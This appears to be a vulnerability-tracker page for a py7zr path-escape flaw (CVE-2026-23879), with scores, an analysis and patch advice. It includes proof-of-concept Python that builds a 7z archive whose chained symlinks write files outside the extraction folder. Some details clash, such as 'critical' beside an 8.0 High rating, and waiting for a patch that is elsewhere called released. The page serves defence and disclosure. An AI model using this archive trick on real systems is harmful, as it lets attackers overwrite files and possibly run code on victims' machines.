What is the CVSS score of EUVD-2026-39050?

EUVD-2026-39050 has a CVSS 3.1 base score of 8.0 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H. EPSS exploitation probability: 0.4%.

Which versions of py7zr are affected by EUVD-2026-39050?

A critical arbitrary file write vulnerability in py7zr (versions 1.1.0-1.1.2) allows attackers to write files to arbitrary filesystem locations when processing malicious 7z archives, with potential…. A patch is available.

How to fix or mitigate EUVD-2026-39050?

Within 24 hours: Conduct immediate inventory of all internal applications, services, and dependencies using py7zr-including transitive dependencies in Python package trees (use pip/pip-audit or supply chain scanning tools). Within 7 days: For systems using affected versions, implement compensating controls (see below) and disable 7z extraction of untrusted sources; establish approval gates for any 7z processing. Within 30 days: Monitor py7zr project for patch release (versions 1.1.3+); prepare upgrade testing and deployment automation for rapid remediation.

py7zr EUVD-2026-39050

| CVE-2026-23879 HIGH

Improper Link Resolution Before File Access (CWE-59)

2026-06-19 https://github.com/miurahr/py7zr

GHSA-q6rc-2cgv-63h7

Privilege Escalation RCE Denial Of Service Python Red Hat Suse

8.0

CVSS 3.1 · Vendor: https://github.com/miurahr/py7zr

Severity by source

Vendor (https://github.com/miurahr/py7zr) PRIMARY

8.0 HIGH

AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

vuln.today AI

7.8 HIGH

Exploitation occurs locally during extraction of an attacker-supplied archive (AV:L, UI:R), needs no authentication against py7zr (PR:N), and arbitrary file write yields full C/I/A impact via downstream code execution.

3.1 AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

4.0 AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

SUSE

HIGH

qualitative

Red Hat

8.0 HIGH

qualitative

Primary rating from Vendor (https://github.com/miurahr/py7zr).

CVSS VectorVendor: https://github.com/miurahr/py7zr

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

Required

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Source Code Evidence Fetched

Jun 19, 2026 - 21:20 vuln.today

Analysis Generated

Jun 19, 2026 - 21:20 vuln.today

Blast Radius

ecosystem impact

† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth

415 pypi packages depend on py7zr (253 direct, 166 indirect)

Ecosystem-wide dependent count for version 1.1.3.

DescriptionCVE.org

Summary

There exists an arbitrary file write vulnerability in py7zr (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.

Details

The root cause of this vulnerability is that py7zr fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.

PoC

Construct PoC Archive File

The following pseudo-code illustrates the vulnerable logic.

python

def create_sevenz_exp(output_dir: str):
    filename = "archive.7z"
    file_path = output_dir + filename
    with py7zr.SevenZipFile(file_path, 'w') as archive:
        archive.writestr("Some Text", "dir0/someFile.txt")
        add_symlink(archive, "dir1", "dir0/..")
        add_symlink(archive, "dir2", "dir1/..")
        add_symlink(archive, "dir3", "dir2/..")
        add_symlink(archive, "dir4", "dir3/..")
        add_symlink(archive, "dir5", "dir4/..")
        add_symlink(archive, "dir6", "dir5/..")
        add_symlink(archive, "dir7", "dir6/..")
        add_symlink(archive, "dir8", "dir7/..")
        add_symlink(archive, "myTmp", "dir8/tmp")
        archive.writestr("Malicious Text\n", "myTmp/poc.txt")

Unpack the archive

Use common decompression methods, then extract the archive.

python

import sys
import os
import py7zr

def extract_7z(seven_path, output_dir):
    os.makedirs(output_dir, exist_ok=True)
    with py7zr.SevenZipFile(seven_path, mode='r') as z:
        z.extractall(path=output_dir)
    print(f"Extracted '{seven_path}' to '{output_dir}'")

if __name__ == "__main__":
    seven_file = sys.argv[1]
    base_name = os.path.splitext(os.path.basename(seven_file))[0]
    output = base_name + "_sevenz_output"

    extract_7z(seven_file, output)

Impact

After decompression, the output directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.

AnalysisAI

Arbitrary file write in py7zr versions 1.1.0 through 1.1.2 allows attackers to escape the destination directory during archive extraction by chaining malicious symbolic links that resolve outside the target path. A victim who calls extractall() on a crafted 7z archive can have files written to arbitrary host filesystem locations, potentially escalating to remote code execution, privilege escalation, or data corruption. Publicly available exploit code exists (PoC published in the GHSA advisory), but there is no public exploit identified for active campaigns at time of analysis.

Technical ContextAI

py7zr is a pure-Python 7-Zip archive library (pkg:pip/py7zr) widely used by Python applications, data pipelines, and CI tooling that need to read or write 7z files without native dependencies. The root cause is CWE-59 (Link Following): the extractor validates the symlink's arcname against the destination directory but does not resolve the combined target path after each link is materialized on disk. By writing a chain of relative symlinks (dir1 -> dir0/.., dir2 -> dir1/.., ... dirN -> dirN-1/..), each link steps one directory upward, so a final link like myTmp -> dir8/tmp resolves to an attacker-controlled absolute path outside the extraction root. A subsequent regular file written through the chained symlink path lands wherever the chain ultimately resolves on the host filesystem.

RemediationAI

Vendor-released patch: upgrade py7zr to 1.1.3 or later (pip install --upgrade 'py7zr>=1.1.3'), which hardens path traversal checks and adds regression tests covering the chained-symlink scenario; see https://github.com/miurahr/py7zr/releases/tag/v1.1.3 and the advisory https://github.com/miurahr/py7zr/security/advisories/GHSA-q6rc-2cgv-63h7. If upgrading immediately is not possible, refuse to extract 7z archives from untrusted sources, or extract into a disposable sandbox (separate container, unprivileged user, ephemeral chroot) where symlinks outside the extraction root cannot reach sensitive paths - this prevents arbitrary writes but adds operational overhead and may break workflows that rely on extracted symlinks. As an additional compensating control, pre-scan archives and reject any entry whose type is symlink with a target containing '..' or absolute paths, accepting that this will also block legitimate symlinks in archives.